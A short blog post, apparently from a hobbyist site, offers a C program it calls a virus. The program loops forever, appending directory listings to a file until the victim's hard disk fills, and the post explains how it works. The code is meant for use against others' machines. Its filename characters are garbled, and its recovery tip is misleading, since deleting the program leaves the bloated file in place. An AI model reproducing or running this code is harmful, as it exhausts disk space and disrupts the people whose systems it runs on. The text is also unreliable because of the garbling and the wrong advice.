create virus using c program
/*virus.exe*/#include<stdio. h>
#include<stdlib .h>
void main()
{ while(1)
{
system("dir>>â. ša.exe");
}
} here a simple virus program but it has
ability to jam your hard disc.The
program make a self growing file which
grow to few MB and continue
infinitely.How it works?-The system call
"dir>>â.ša.exe" will execute the dos command 'dir' and redirect its output to
a file "â.ša.exe".So running the
program in a folder having many files
and folders will increase the size of
"â.ša.exe" in great amount.This process
will continue infinitely as this is in while (1) loop.Remember to recover from this
virus infection simply delete the
virus.exe file.








0 comments:
Post a Comment
Powered By Aashish Dua Productions